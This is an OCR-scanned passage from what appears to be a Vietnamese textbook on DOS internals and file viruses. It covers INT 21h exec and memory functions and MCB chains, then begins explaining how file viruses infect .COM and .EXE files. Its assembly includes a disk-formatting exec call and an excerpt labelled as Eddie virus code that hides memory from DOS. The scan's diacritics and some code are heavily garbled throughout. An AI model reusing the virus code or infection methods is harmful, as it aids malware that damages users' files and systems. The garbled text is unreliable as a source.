khién s& dugc tra vé cho chuong trinh me.

Chuong trinh me c6 thé chuyén tham s6 cho chuong trinh con béng cdch truyén tham s6 nhu
trén dong lénh, trong FCB, hay bang chudi ASCIZ trong khéi tham s6 moi trudng EPB.
Chuong trinh con, khi dd dugc trao quyén diéu khién s& thira hudng tat ca cic file dugc md
trong chuong trinh me, moi thay déi sau d6 clia chuong trinh con déu 4nh huéng dén chuong
trinh me.

Khong nhu mot s6 nguoi mong dgi, DOS s€ dung viéc thi hanh chuong trinh me cho dén khi
nio chuong trinh con cham ditt vd quyén diéu khién tra vé cho chuong trinh me. D& cé thé
ting cuong kha nang giao ti€p, DOS cho phép chuong trinh con tra lai ma ra (exit code) cho
chuong trinh me, nhim thong b4o cho chuong trinh me biét tinh trang hoat dong cha chuong
trinh con.

a. Tham s6 chitc nang 4B: Gom 2 chifc nang con: tai va thi hanh hoac tai ma khong thi hanh.

Vao:

AH = 4Bh
AL =0: tai va thi hanh chuong trinh
3 :tai nhung khong thi hanh chuong trinh.
DS:DX: Teén file can thi hanh, dang ASCIIZ
ES:BX: Dia chi cia EBP.
Ra:
AX =ma16i néu CF = 1.

Cic thanh ghi DS, Stack c6 thé bi thay ddi (do dé nén cat giit cdc thanh ghi can thiét
trude khi goi chiic nang nay).

Vi chuong trinh me c6 thé quan 1y toan bo viing nhé (nhat 1a trudng hop file .COM) nén dé thi
hanh mot chuong trinh con, chuong trinh me nén tuan thi mot s6 cac bude sau :

+ Vi chuong trinh me tam thoi khong ding dén viing nhé nita, c6 thé gidm s6 ving nhé
ma nd can bing cich ding chic niang 4Ah véi ES = PSP hién hanh, BX = s6 ving nhd cin
thiét ctia chuong trinh me.

+ Chuén bi chubi ASCIIZ chia tén file cin thi hanh, vd DS:DX chifa dia chi cia xau nay.
Diéu cén luu y tén file phai bao gém luon ca phan md rong chit khong don gian nhu tén file
ddnh & ddu nhic ctia DOS (lic nay DOS s& tu dong di tim nhiing file ¢6 cling tén, nhung phan
md rong s& 1a .COM, .EXE, .BAT dé thi hanh).

+ Chuén bi EBP chtta cdc tham s6 can thiét, trd ES:BX dén khoi tham s6 nay.
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+ Cit gitt cdc gia tri clia Stack, DTA, DS va ES trong céc bién c6 thé dugc tham chi€u dén
bing CS (dé dé khoi phuc lai khi 1ay lai quyén diéu khién).

+ Thi hanh chitc nang 4B v6i ma thi hanh tuong tng.

+ Sau khi 14y lai quyén diéu khién (néu AL = 0), khoi phuc lai Stack, cdc thanh ghi can
thiét khéc.

+ Kiém tra ma 16i dé x4c dinh chic nang nay di dugc thi hanh hay chua.

+ Khoi phuc DTA néu cén thiét .

+ Ldy ma ra (exit code) dé xem ma két qua thi hanh clia chuong trinh con.

b. Phdn tich tham s6 ciia chitc ndng 4B: Thong thudng, chdc nang tai va thi hanh file dugc
dung nhi€u nhat, v6i pham vi clia cudn séch nay chiing ta chi ban dén chiic nang tdi va thi
hanh .

+ Tén file: Phai duoc chi dinh mot cdch tudng minh, nghia 1a khong dugc dung ki tu * va
? dé thay thé, va phai bao gém ci phin md rong cua tén file. Diéu niy 1am cho mot ngudi gap
16i khi dung dén chic nang ndy vi don gian ho tudng chiic niang 4B sé& tu dong di tim tén file
chi dinh va thi hanh, ti€c thay, di€u nay chi c6 phan mi 1énh noi tri cha COMMAND.COM
lam thay cho ban.

+ EBP (.EXEc parameter block): Khoi tham s6 EBP 1a mot cau tric cung cap cho DOS
nhiing thong tin cin thiét vé moi trudng, vé dong tham s6 truyén ECB ...., tao di€u kién thuan
loi cho DOS t6 chitc moi trudng 1am viéc cho file chi dinh.

C4u tric ctia khéi nay nhu sau:

offset  size noi dung
+0 2 Segment ctia moi truong con (0000 = thira hudng
Env parm cua chuong trinh con
+2 4 offfset segment  Dia chi cia dong 1énh dat & PSP :80h
+6 4 offfset segment Dia chi cia FCB dat & PSP: 5Ch
+0Ah 4 offfset segment Dia chi cia FCB dat & PSP: 6Ch
Ciu tric ndy, thuc t€ dugc DOS dung dé t6 chitic PSP cho chuong trinh béng cdch copy céc
thanh phén tuong ing vao PSP cua chuong trinh con. Ta s€ khdo sét timg ving mot trong ciu
tric nay.

+ Tham s6 vé moi trudng: Mdi chuong trinh duge tdi boi chidc ning 4B déu dugc thira
hudng mot cdu tric dit liéu goi 1a moi trudng cta chuong trinh me. Con trd tré dé€n segment
clia moi truong & offset 2C trong PSP . CAu tric nay it dugc ai dung dén, chi cé
COMMAND.COM Ia ding.

Néu muén, ngudi sit dung c6 thé bd sung, tao mot moi trudng méi. Néu gid tri clia con trd téi
kh6i moi trudng bing 0, chuong trinh con sé& thita huéng moéi trudng ctia chuong trinh me,
nguoc lai, gia tri ciia con trd nay la segment ciia mot khoi moi trudong méi. Tuy nhién, can phai
chi y kich thuée clia moi truong khong duge vugt qua 32 Kb.

Moi trudng cho mot chuong trinh 1a tinh, nghia 1a néu c6 nhiéu chuong trinh thudng trd trong
RAM, thi mdi chuong trinh c6 thé c6 riéng mot khéi moi trudng va doc lap véi nhau, noi dung
clia cdc khdi nay khong duge cip nhat néu sau d6 1énh PATH hay SET dugc thuc hién.

+ Dong 1énh: DOS copy dong tham sd nay vao PSP clia chuong trinh con & offfseet 081
(dd duoc mo ta trong phian PSP), dang clia dong tham s& nay ciing cin phai chd y: bat ddu
bing mot byte chi s6 byte ctia dong Iénh, theo sau 1a ddy ma ASCII va chdm dit bing ma
xuong dong 0Dh, diau xusng dong khong duge ké vao so luong byte.

+ FCB ngam dinh: DOS copy 2 FCB ngam dinh dugc chi ra bdi 2 tham s6 cudi bang EBP
vao PSP clia chuong trinh con & offfset 05C va 06C. Dé canh tranh vé6i chiic niang cla
COMMAND.COM, chuong trinh me nén diing chitc niang 29h ctia DOS dé phan tich 2 tham
s0 dau cta dong lénh vao FCB trudc khi goi chic nang 4Bh.
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FCB 16 rang khong dugc dung rong rai dudi DOS version 2 va 3 vi chiing khong tién cho céu
triic phan cap, tuy nhién, trong mot s6 chuong trinh ting dung c6 thé dung ching dé 14y tham
sO trén dong 1énh.

c. Léi thi hanh: Thong thudng, ngudi sit dung 4p dung chiic nang 4B hay gap 16i ma khong
biét rd nguyén nhan. Sau day 12 mot s6 nguyén nhan ma ngudi sir dung hay méc phai :

+ Khong di ving nhé dé thi hanh. Léi nay xay ra khi ngudi sit dung quén khong dat lai
vung nhé trudce khi thi hanh .

+ Khong tim thdy file. L6i nay ciing thuong hay xay ra khi ngudi dung khong chi dinh 16
6 dia cha file, phdn m& rong cla file vi 1am tudng DOS s& “tu “lam viéc d6.

+ Khi thi hanh xong chuong trinh con, mdy thudng bi halt. L6i ndy xay ra khi chuong
trinh con da thay déi Stack, hay thay déi mot s6 thanh ghi phan doan.... dé trdnh nhitng diéu
niy c6 thé tién hanh tuin tu cic buéc da duoc néu trén.

d. Mot s6 nhdn xét 1y thii:

+ Chiic nang nay dung phan tai (loader portion) chta COMMAND.COM, phan nay luén
nam & vang nhd cao, khong thudng trd va do d6 rét dé chuong trinh khdc d2 1én. Do d6, nhiéu
khi COMMAND.COM cidn phai dugc tdi lai, viéc thay ddi dia mém (néu dat
COMMAND.COM ¢ d6) ciing doi khi gay nhiéu phién todi.

+ Nhu d3 biét, c6 thé chi ra tén file can thi hanh & DS:DX tuy nhién céch ndy c6 nhugc
diém :

Ta phai tu phan tich FCB (mic du bay gid khong con cén thiét nita).

Khong tu ding PATH dé tim file nén doi lic khong thé xac dinh xem file ndm & dau.

Do dé, c6 thé cho DOS tuir 1am diéu nay bang cich: ding COMMAND.COM dé thi hanh file
vGi tham s6 vao la tén file cua chiing ta! Lic nay, DOS s€ tu minh tim ki€m file va s& thi hanh
néu né tim thay file (chd y: dé thi hanh COMMAND.COM phai diing véi tham so6 /c)

Poan chuong trinh sau s& minh hoa cich ding COMMAND.COM dé thi hanh file
Format.com cta DOS .

; Tao EBP

mov AX, CS

mov seg_cmd, AX

mov seg_FCBI, AX

mov seg_FCB2, AX

mov AX, 04B00

mov BX, offset EBP

mov DX, offset filename

int 21h

filenamedb “\COMMAND.COM’, 0

EBP dw O ;thira hudng moi truong
off cmd dw offfset Cmd_line
seg_cmddw 0

off FCB1 dw 05C

seg_ FCBl dw 0

off FCB2 dw 06C

seg FCB2 dw 0

cmd_line db OEh, ’/c format a: /s/4’, 0Dh
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+ Mot ki thuat khéc cling khong kém phan thi vi: Chuong trinh me thi hanh chuong trinh
con 1a chinh né. Diéu nay cé thé khé thuc hién dugc vi tén chuong trinh me khong c6 dinh
(ngudi ding c6 thé déi tén bat ki lic ndo) va nhat 1a s& gap trudng hop goi 1ong nhau khi
chuong trinh con mot 14n nita c6 thé lai goi chinh né.

Diéu nay c6 thé giai quyét bing céch:
Do trong moi truong dé tim tén file (ki thuat nay dugc trinh bay trong phan PSP)

Tao EBP tuong ting

Tao dau hiéu nhan dang dé 1an thi hanh sau r& nhanh sang tic vu khdc hon 12 lai thi hanh
ti€p mot mirc nita.

Ban c6 thé tu minh thiét k€ mot chuong trinh nhu thé nay va thuc t€ mot s6 loai virus ciing da
lam.

II - TG chifc va quén 1y viing nhé.

Tat ca nhitng diéu ma DOS té chitc va thi hanh file déu c6 mot nét chung: file dugc tai vao
ving nhé. Nhu vay, cau hoi duge dit ra: 16 rang DOS phai t6 chitc ving nhd nhu thé nao dé
d€ c6 thé thi hanh file ?

Maic du DOS da dua ra cdc chic nang cho phép thao tic trén ving nhé ma thuc t€ ciing da qué
dl cho céc nha thdo chuong. Tuy nhién, biét cdch t6 chic ving nhé cia DOS ciing 12 diéu cin
biét trong mdi ching ta.
Cic version hién nay ctia DOS c6 thé quan 1y dén 1Mb viing nhd. Trén cdc may PC va tuong
thich, ving nhé do DOS quén 1y bét diu & dia chi 00000h va dat t6i dia chi cao nhat (néu c6
thé dugc) 13 O0OFFFFh. Ving nhé 640Kb nay doi khi con duge goi 1a viing nhé quy udc
(Conventional memory). Tét ca cdc ving nhé trén dia chi nay thudng ding cho ROM man
hinh, dia ....

1/ Phan loai: Ving RAM nam trong quyén diéu khién ctia DOS dugc chia thanh hai phan
chinh.
a. Phdn hé diéu hanh: Bit ddu tir dia chi thap nhat 00000h, nghia la né bao gom ca bang
vector ngit, hé diéu hanh va cdc buffer ctia n6 (thuc chét 1a phan 16n hai file hé thong 10.SYS
va MSDOS.SYS néu 1a MSiDOS), device driver dugc khai béo trong config.sys, phan thudng
tri cha  COMMAND.COM. Phan ving hé diéu hanh nay c6 kich thudc khong xédc dinh va
thay ddi tly theo cac version, s6 lugng device driver.
b. Phan chuong trinh tam thoi: Doi khi con duge goi 1a viing nhé hoat dong (memory arena),
la phan ving nhé ngay sau ving nhé hé diéu hanh va dat dén dia chi cao nhat c6 thé . Ving
nay duoc té chiic thanh ting khéi tao thanh mot chudi. Céc file dugc tai 1én trong viing nay dé
thi hanh do d6 chi né chi mang tinh tam thoi.

So d6 sau tém tét ciu tric ving nhd:

Address | Name Description

0000 0000 Bang vector ngit: 256%4 byte dia chi

0040 0000 Vung dit lieu ROM-BIOS

0050 0000 Vung dit lieu DOS

XXXX 0000 M3 vao ra ciia DOS & mic thép (tir file 10.SYS trén dia)

XXXX 0000 Mi diéu khién ngit DOS (tir 20 (3F trén file MSDOS.SYS)

XXXX 0000 Buffer cua DOS, viing dit liéu va cdc device driver

XXXX 0000 Phan thuong tri cia COMMAND.COM bao gém phan ma diéu
khién ngit 22h, 21h, 24h
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XXXX 0000 Céc chuong trinh thudng trd (TRS) va dit liéu

XXXX 0000 Céc chuong trinh duoc load 1én & day

XXXX 0000 Phan tam thoi cia COMMAND.COM . Phan nay s€ tai lai néu bi
chuong trinh khic ghi d¢ 1én

2/ Cac chitc nang lién quan dén viing nhé cua DOS.
a. Chitc ndng qudn 1y: Gom céc chiic nang cip phat, gidi phéng va diéu chinh kich thudc bo
nhé.
+ Cdp phat viing nhé :
Vao AH =48h
BX = kich thudc viing nhé can cép phét (tinh theo doan)
Ra Néu CF=1, AX chita mi 16i va BX 1a s6 viing nhd t6i da con lai con dung dugc .
Néu CF=0, AX chinh la segment cua ving nhG ma DOS cap phat theo yéu cu.
Ngoai chitc nang xin cap phat, c6 thé biét viing nhé con lai bao nhiéu néu c6 tinh tao 16i khi
yéu cdu cap phdt mot lugng ving nhé qud 16n.
Doan chuong trinh sau cho phép 1ay gid tri (tinh theo doan) ctia ving nhG con dung duge
; Gia str kich thuée can 1a 0100 doan
mov AH, 048h
mov BX, OFFFFh
int 21h
cmp BX, 01000 ; So sanh véi kich thuGe can
+ Giai phéng ving nhé: Khi ving nhé xin cap phéat khong con duge dung dén, nén ding
chiic nang nay dé gidi phong . Khi chuong trinh chdm diit, quyén diéu khién thugc vé DOS
(néu chuong trinh dugc thi hanh & mitc DOS), né ciing s& dung chic ning nay dé giai phéng
ving nhd ma chuong trinh di xin cap phat.
Vao: AH =4%h
ES = Segment cia viing nhd can giai phéng
Ra: AX = ma 16i néu CF = 1
Mot ting dung quan trong dé mot chuong trinh xdc dinh con bao nhiéu ving nhé (ké ca
chuong trinh d6) chua diing dén 1a thi hanh chidc nang giai phéng viing nhé trude khi thi hanh
ki thuat xac dinh viing nhd trén.
+ Diéu chinh kich thudc viing nhé: truée khi diung chitc nang 4B dé thi hanh chuong trinh
nao d6, diéu trude tién 1a phai diéu chinh lai kich thudc viing nhé .
Vao: AH = 04Ah
ES = segment cua khoi viing nhé can diéu chinh
BX = kich thudc yéu cau diéu chinh
Ra: AX 1a mi 16i néu CF = 1, lic d6 BX 1a khéi 16n nhét con dung duoc
b.Chifc néing thuong trii: Thong thudng, mot chuong trinh cham dit, quyén diéu khién s&
duogc trao lai cho DOS, lic nay, moi ving nhé duge cdp phét cho chuong trinh s& duge giai
phéng, do d6, bat ki mot phan mém nao duge tai 1én ngay sau d6 sé deé 1én chuong trinh vira
ro6i. Tuy nhién, d6i v6i mot s6 phan mém c6 yéu cdu kich hoat tic thoi néu cén, thi budc phan
mef:em nay phai nﬁm thuong trd trong RAM va khong bi bat ki mot phdn mém nao khéc ghi de.
bé thuc hién qiéu néy,\ DOS da cung cép hoi thira chiic nang cho cdc thao chuong vién. C6 t6i
2 chitc nang dé lam diéu nay.bé 1a :
+ Ngit 27 :
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Vao: DX = dia chi cuéi cung (offset) cia doan chuong trinh cén thudng trd,
segment s€ dugc tinh theo PSP.

Ra: Khong
R& rang, chifc nang nay bi gi6i han (mac du it ai dat t6i gi6i han nay) vi DX chi c6 thé dat
duoc gid tri 16n nhat 1a OFFFFh, nghia 1a chi c6 thé thudng tri dugc mot kich thuéc 64 Kb. Dé
khac phuc diéu nay, DOS da dé nghi thém chiic nang 31 cta ngat 21h.

+ Chim dt chuong trinh va thuong tri (Terminal and Stay Resident - TSR)

Vao: AH =31h

AL =ma ra (exit code)
DX = kich thudc viing nhé can thudng trd (tinh theo doan)

Ra: Khong
Chiic niang nay khéic phuc nhuge diém cta ngét 27, kha nang thudng trd clia chuong trinh dat
t6i t6i da 1Mb (chéc chin khong c6 chuong trinh ndo dat t6i ca), cho phép chuyén ma ra cho
chuong trinh me thong bdo cho biét tinh trang thi hanh cla chuong trinh con. Bat du tir
version 3.xx, ngét 27 clia DOS thuc chét chi 1a mot bién dang clia chic nang 31, nghia 12 néu
ngét 27 dugc goi, né sé tién hanh déi gia tri offset ra doan 16i goi chiic nang 21 cla ngét 21h
v6i ma 16i 0.

+ Gia thuong tri: Chitc nang thudng tri duoc nhiéu ngudi st dung hudng ting nhiét liét,
tuy nhién sau mot thoi gian dai st dung, mot chuong trinh thudng tri trd nén céng kénh trong
viing nhé mot khi khong con diing dén nita. D€ gidi quyét, mot s6 phan mém da cho phép giai
phéng viing nhd, tuy nhién, néu viing nhé trén né da bi mot chuong trinh thudng tri khac su
dung thi viéc giai phéng nay thuc chat cling khong can thiét. Do d6, doi hoi chuong trinh
thudng tri d6 phai 1a chuong trinh thudng trd sau cing trong viing nhé . Chinh vi diéu nay,
mot phuong phédp khdc do nguoi st dung dé nghi va ciing dugc dp dung nhi€u ngay sau dé.
Phuong phép nay tuong tu nhu chic nang OS Shell cia mot s6 phan mém. Nghia 1a thuc chat
ctia phuong phdp nay 12 st dung chic niang 4B dé thi hanh COMMAND.COM mot l4n nita sau
khi da khoi tao cdc ngit can thiét cho cdc phim hotkey. Bing copy 14n 2 ndy s€& thi hanh binh
thudng cdc lénh, chuong trinh clia ngudi st dung nhu & ddu nhic doi 1énh (ddu nhac doi lénh
ciing tr COMMAND.COM ma ra). Trong khi phdn mém truGc d6 van ton tai trong viing nhé
dé cho trd quyén diéu khién. Viéc gia thudng tri sé két thiic néu ngudi st dung thi hanh Iénh
EXIT trén dau nhac doi lénh. Phan vi du nay, cdc ban c6 thé xem trong phan minh hoa cho
chtc nang 4B.

3/ Cau triic ving nhé MCB (memory control block): Nhu da biét, phdn viing nhé tam
thoi dugc t6 chic thanh timg khéi, méi khéi dugc quan 1y bang mot cau tric dau khoi goi 1a
MCB (hay con goi 12 arena header).

Thuc chat, cdc chiic ning vé€ viing nhd da khao sit & trén (gidi phéng, xin cap phat ving nhé
v.v..) déu duge DOS tién hanh hiéu chinh trén chudi cic MCB nay. D6i v6i mot s6 nguoi, thi
hanh truc tiép “bing tay “trén cdc MCB nay ly thi hon nhiéu va phéng khodng hon la ding
céc chifc nang ctia DOS dé giai quyét dugc. Cac van dé dé ciing s& duoc chiing ta khio sét sau.
a. Cdu triic MCB: MCB c6 kich thuéc diing bang 1 doan (Paragraph) 16 byte ngay trudc ving
nhd ma né quan 1y. Noi dung ctia cac tham s6 trong cau tric nay duge biét nhu sau:

offset size noi dung

0 1 ID Byte nhan dién loai chia MCB
1 2 PSP PSP ctia MCB
3 2 Size Kich thuéc viing nhé ma MCB quan li
5 0B Unused Khong dung dén

ID 1a byte nhan dién xem MCB nay ¢6 phai 124 MCB cu6i ciing clia chudi hay chua. Néu chua
12 cudi chudi, byte ¢6 gid tri 04D, ngugc lai s& c6 gid tri 05A.
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PSP: Cho biét ving nhé dugc MCB quan 1y hién con trong hay dang dugc dung cho chuong
trinh nao. Néu gid tri 0 ¢ nghia chua c6é chuong trinh nao st dung, ngugc lai n6 1a gia tri PSP
cta chuong trinh xin cdp phét (ciing chinh 1i do nay DOS s€ biét ving nhd nao 1a cia chuong
trinh vita chdm dut va giai phéng né khi DOS dugc trao quyén).

Size: La kich thudc (theo doan) cua khéi viing nhé ma MCB quan i.

Gia st néu chuong trinh 13 chuong trinh TSR trong RAM do MCBI1 quén 1i, chuong trinh 2
dugc tai vao trong MCB2, chuong trinh nay xin cdp phét ving nhG s&€ do MCB3 quan li, viing
nhé con lai do MCB4 quan 1y. Ta s€ c6 so do6 sau:

Ving nhé do MCB4 quan ly
arena header #4
Ving nhé do MCB3 quan 1y
(xin cép phat viing nhd)
arena header #3
Ving nhé do MCB2 quén Iy
(chtta chuong trinh 2)
arena header #2
Ving nhé do MCBI quan Iy
(chtta chuong trinh TSR)
arena header #1

b. Cac ung dung trén MCB:
+ Mapping memory: D3 ¢6 mot s6 phan mém lam chic nang nay, tuy nhién it ngudi biét
chiing 1am nhu thé nao, cling nhu bing cdch nao ta c¢6 thé 14y dugc phan tr MCB déu tién
trong chudéi MCB. D€ 1am diéu nay, ta c6 thé dung nhiéu cach, nhung t6t nhit nén sit dung
mot chiic nang Undocumented (khong cong bd) cua DOS. Qua thuc nghiém, cic thao chuong
vién nhan thay chinh DOS ciing diing chiic ning 52h cia ngat 21h dé 1ay dia chi clia bang
tham s riéng cua DOS ¢6 tén DIB (DOS info block) . Mot trong cdc cdu tric noi tai cia DOS
ma khong c6 mot tai liéu nao dé cap dén chi tiét. Mo ta chiic nang nay nhu sau :

Vao: AH=52h

Ra: ES:BX tr6 dén céu tric DIB nay.
Dé khong mat thoi gid, chiing ta chi quan tam dén vi trf cia MCB ddu tién trén bang tham s6
ndy (nhitng tham s6 khdc néu ai quan tdm dén c6 thé tu minh tham khao qua tai liéu System
programming for developer - tuy nhién ciing chua dugc diy du thong tin 1am). Dia chi nay
nim O offset -4 trong bang . Cdc MCB ti€p theo s& duoc tinh bing cdch cong kich thudc clia
khoi MCB truée d6 thém 1 (1 1a kich thuéc cia MCB theo doan).
DPoan chuong trinh sau minh hoa cich duyét qua cic MCB trong viing nhé

; Lay dia chi MCB dau tién
mov AH, 052h
int 21h ;ES:BX tr6 vao DIB
les BX, ES:[BX-1] ;ES:BX tr6 vao MCB dau tién
Next:
; In ra 1an lugt céc phan ti cia MCB
mov AL, ES:byte ptr [0] ;Lay ID MCB
cmp AL, 05Ah ;D4 1a phan tlr cuoi
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je ok

mov AX, ES: word ptr [1] ;AX = kich thuéc MCB
mov BX, ES: word ptr [3] ;BX = PSP
push BX

call Print. MCB ;In MCB ra
pop BX

mov AX, ES

inc AX ;Tinh MCB k€&
add AX, BX

mov ES, AX

jmp Next

ok:
call Print_MCB
int 20h
Print MCB procnear
; Phan nay céc ban sé tu thiét k&
Print_MCB endp

+ Pickup memory: Néu biét rd cau tric MCB, ta c6 thé “tdch “mot phan viing nhd ra khoi tdm
kiém soat cia DOS. K§ thuat nay cing doi hoi phai két hgp véi cau triic PSP néu cdc ban con
nhé ring gia tri word O offset 2 phan dnh gid tri clia segment ti€p theo con dung dugc.
Cic budic tach c6 thé tién hanh theo cdc budc sau:

- Tao MCB cudi cung (trong trudong hop chuong trinh khong dung hét ving nhd).

- DPat lai kich thu6c ving nhé ma MCB cudi cung dang quan 1y xuéng mot kich thudce tuy
y.

- Giam tuong ting gia tri tai PSP:2 mot luong tuong tu.
DPoan chuong trinh sau minh hoa k¥ thuat nay.
; Gia str tré dén PSP, kich thuGe can giam 0100 doan

mov AX, DS
dec AX
mov ES, AX :ES tro6 dén MCB
cmp  ES: byte ptr [0], 05Ah ;La phan tir cudi cling chua
je xuli
; Tao MCB sau cung
push BX

mov AH, 048h
mov BX, OFFFFh

int 21h
cmp BX, 0100h ;Kich thuéc con lai ¢6 da 100h ?
jb error
mov AH, 048
int 21h ;Xin cap phat hét ving nhé
pop BX ;dé tao MCB cudi
jb error
dec AX
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mov ES, AX ;ES trd dén MCB cudi nay
cli
mov ES: word ptr [1], 0 ;Con dung dugc
cmp  byte ptr [0], 05Ah ;C6 phai 12 phan tir cu6i khong ?
jne error
add AX, ES: word ptr [3] ;AX tro dén MCB k&
inc AX
mov ES: word ptr [12h], AX ;bat lai PSP
xuli:
mov AX, ES: word ptr [3] ;AX= téng memory
sub AX, 100h ;B6t di viing nhé cén tach
jb error ;Khong thé giam duoc
mov ES: word ptr [3], AX ;Dat lai kich thuéce

sub ES: word ptr [012h], 100h

error:
(Trich Eddie virus)

Tuy nhién, mot dic diém ndi bat, ving MCB bi tdch roi nay luén nim & viing nhé cao nhat.
Néu diing mot phan mém Mapmem nao c6 thé phat hién ra diéu nay (c6 thé ding CHKDSK) .
T4t ca nhitng thong tin nay ciing chi 13 phin co ban ma toi c6 ging cung cap dé cic doc gia cé
thé tu minh phan tich dugc cic ki thuat clia mot F-virus ma chiing ta s& phan tich & chuong

sau. Nhitng thong tin chi tiét c6 thé tim thdy trong céc tai liéu tham khdo.
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F- VIRUS

Mot dang virus khdc dugc dé cap dudi tén goi F - virus véi s6 lugng vo cling dong dao va tinh
phd hoai da dang dugc nhiéu ngudi chd y hon B - virus . Mit khdc dé thdy trong moi trudng
duéi DOS, cong viéc c6 vé thoadi mai hon, nhat 1a nhitng tdc vu dia, do d6 1a mot diéu kién tot
cho virus phat trién. C4c ban s& bét diu 1am quen véi F - virus qua viéc khéo st su lay lan cla
ching.

I - Phuong phap lay lan.

Nhu tén goi, F - virus (File virus), virus chi 1ay lan trén cdc file thi hanh dugc (EXEcutive
able file), tuy ring diéu nay cling khong han vi di c6 trudng hop file don thuan 13 dit licu
(dang .DBF clia foxbase chang han) ciing bi lay. Xét tir quan diém nhitng file bi nhiém file lay
lan duoc, diéu nay cling van ding.

Gi6ng nhu mot nguyén tic bat di bat dich ctia B - virus, F - virus ciing phai tuan theo nhitng
nguyén tic sau: Quyén diéu khién phai nim trong tay virus truéc khi virus tra né lai cho file bi
nhiém, Tat c4 cdc dit liéu cha file phai dugc bao toan sau khi quyén diéu khién thuoc vé file.
Cho dén nay, F - virus chi ¢6 vai cdch lay lan cho file, ma ta s& goi la file d6i tugng, Ta sé 14n
luot xét qua cdc phwong phap nay dé thay uu cling nhu khuyét diém ciia né.

1/ Cheén dau: Thong thuong phuong phéap nay chi ap dung véi céc file .COM nghia l1a ddu vao
chuong trinh luon & PSP:100h. Loi dung ddu vao c6 dinh, virus s& chén vao doan ma chuong
trinh virus (ma ta s& goi 12 Progvi) vao diu chuong trinh déi tugng, ddy toan bo chuong trinh
doi tugng xuong phia dudi.

C6 thé minh hoa bang hinh sau :

File chua bi nhiém File di bi nhiém
.COM Virus | .COM
N 4|
Dau vao bau vao

Ul diém: Progvi rat dé viét vi thuc chat né 1a mot file dang .COM. Mt khéc, s& gay khé khan
cho vén dé khoi phuc file vi doi hoi phai duoc doc toan bo file bi nhiém vao viing nhé réi tién
hanh ghi lai.

Khuyét diém :Trudc khi tra quyén diéu khién lai cho file phai ddm bao dau vao la PSP:100h,
do d6 phai chuyén tra lai toan bo chuong trinh lén bat dau tir offset 0100h.

Nhitng chuong trinh doc lai chinh minh (COMMAND.COM chéng han) ma offset can doc roi
vao Progvi sé dan dén sai lac logic chuong trinh. Chi 1ay dugc trén cdc file ¢6 ddu vao cd dinh
(.COM hay .BIN) va diéu quan trong: kich thudc file tang 1én diing bang kich thudc Progvi.

2/ Append file: Phuong phép nay dugc thdy trén hdu hét cdc loai F - virus vi pham vi lay
lan clia n6 rong rai hon phuong phdp trén. Theo phuong phdp nay Progvi s& dugc gin ngay sau
chuong trinh d6i tugng, Do progvi khong ndm ding ddu vao chuong trinh nén né phai :

+ Doi vdi file dang .COM hay .BIN: thay cdc byte & entry vao clia chuong trinh bang mot
lénh JMP, chuyén quyén diéu khién tir entry vao dén doan ma clia progvi .
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0E9 xx xx Entry_virus

+ Doi véi file dang .EXE: chi can dinh vi lai céc gi4 tri SS, SP, CS, IP trong .EXE header
. C6 thé minh hoa bing cdch V& sau :

File chua bi nhiém File d3 bi nhiém
.COM Virus | .COM
/’ Dau vao DAu vao

Ut diém: Lay lan trén moi loai file thi hanh dugc, thudng 12 COM/.EXE/BIN/OVL ... mat
khdc, su xdo tron dif liéu trén file khong dang ké. Viéc doat quyén diéu khién trén file .COM
chi can 3 byte cho mot 1énh nhay.
Khuyét diém: Dé khoi phuc, chi cin dinh vi dif liéu cii dé tra lai, khong cén phai ghi lai toan
bd chuong trinh . Khé dinh vi chuong trinh virus vi kich thudce file d6i tugng 1a bat ki. Kich
thudc file thay ddi, ting 1én mot doan béing (hoic chénh léch 16 byyte doi véi file loai .EXE).
3/ Overwrite: Nhugc diém cla hai phuong phdp trén déu & chd lam tiang kich thudc file.
Pay 1a mot yéu t6 kién quyét dé phat hién ra virus . Phuong phdp nay dé ra dé khéc phuc hai
phuong phép trén, tuy nhién hau nhu chi ¢6 1, 2 virus da biét 1a dung phuong phép nay (trong
d6 c6 1 cua Viét Nam). Theo phuong phdp nay, virus sé€ tim mdt ving tréng trong file d6i
twong (c6 thé 1a stack hodc buffer) dé ghi dé chwong trinh virus vao. Trudng hop buffer & cudi
file nho, c6 thé thira ra mot doan chwong trinh virus lam kich thudc file tang lén khong ddng
ké.
Tuy nhién, phuong phédp nay lai gap nhiéu trd ngai, Dau tién, buffer vira di cho kich thudc
progvi khong phdi 1a dé tim, néu nhu khong ndi 1a rdt hi€m, da vay, néu day lai 1a gia tri hing
clia chuong trinh, lai 1am thay ddi logic chuong trinh. K& dén, phuong phdp nay ciing chi lay
duoc trén cac file COM/BIN ma thoi.

II - Phan loai :

Pi c6 qud nhiéu cich dé phan loai virus, cling nhu cdch dat tén, Tuy nhién, dé c6 mot cdch
khoa hoc cho viéc phan loai thi chua.

Mot s6 noi da phan loai virus thanh hai loai: loai lay trén file .COM va lay trén file .EXE.
Diéu nay dan dén nghich i, néu mot virus dugc lay trén hai loai file s& duoc tinh thanh hai, do
d6 gbp phan tang so lugng virus diét dugc. Mat khéc, nhiing file .BIN, .OVL da bi nhiém sé& do
virus loai gi ? Ching nhé lai ting thém loai virus dé mot virus dugc tinh thanh 4. D6 1a chua
ké nhitng file c6 phan m& rong khac nhung van thi hanh dugc vao. Do d6, cdch phan loai nay
khong thuyét phuc dugc ngudi quan tdm dén virus.

Mot cach phan loai khéac c6 thé chia virus thanh 3 loai dwa vao phuong phap lay lan. Tuy
nhién, phuong phédp nay ciing khong phan dnh dugc diéu gi cho virus ca.

1/ TF - Virus (Transient File virus): Virus thudc loai nay khong thuong trd, khong chiém
ngat, khi dugc trao quyén né s& tim mot hodc nhiéu file khac dé lay. Céch viét progvi kiéu nhu
vay khdc han loai 2.

2/ RF - Virus (Resident file virus): Virus loai nay thudng trd bing cdc ki thuat khéc
nhau, chi phéi ngit (it nhét 1a ngét 21h), khi ngét nay dugc thi hanh ting v6i nhiing chiic nang
x4ac dinh, file s& bi lay.
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Ciing vé sau nay, RF - Virus di lgi dung th€ manh ctia TF - Virus trong viéc tim ki€m file dé
lay lan. Dt vay, n6 van l1a RF - Virus, nhung 12 mot smart virus (virus tinh khon).

III - Cau Tric Chuong Trinh Virus .
Hai loai virus trén c6 céu tric progvi hoan toan khiac nhau vi st dung nhiing ki thuat khic
nhau.

1/ TF - virus: C4u tric progvi tuong do6i don gian, chia 1am 3 phan: lay lan, phd hoai va
buffer.

+ Phin lay lan c6 thé téng qut nhu sau:

Not Fount
Lay @ Phd
Phé l

Tra lai dit lieu
Buffer ‘

Lay ‘

Tra quyén diéu khién

+ Phan ph4 hoai: Thuong theo phan lay lan.

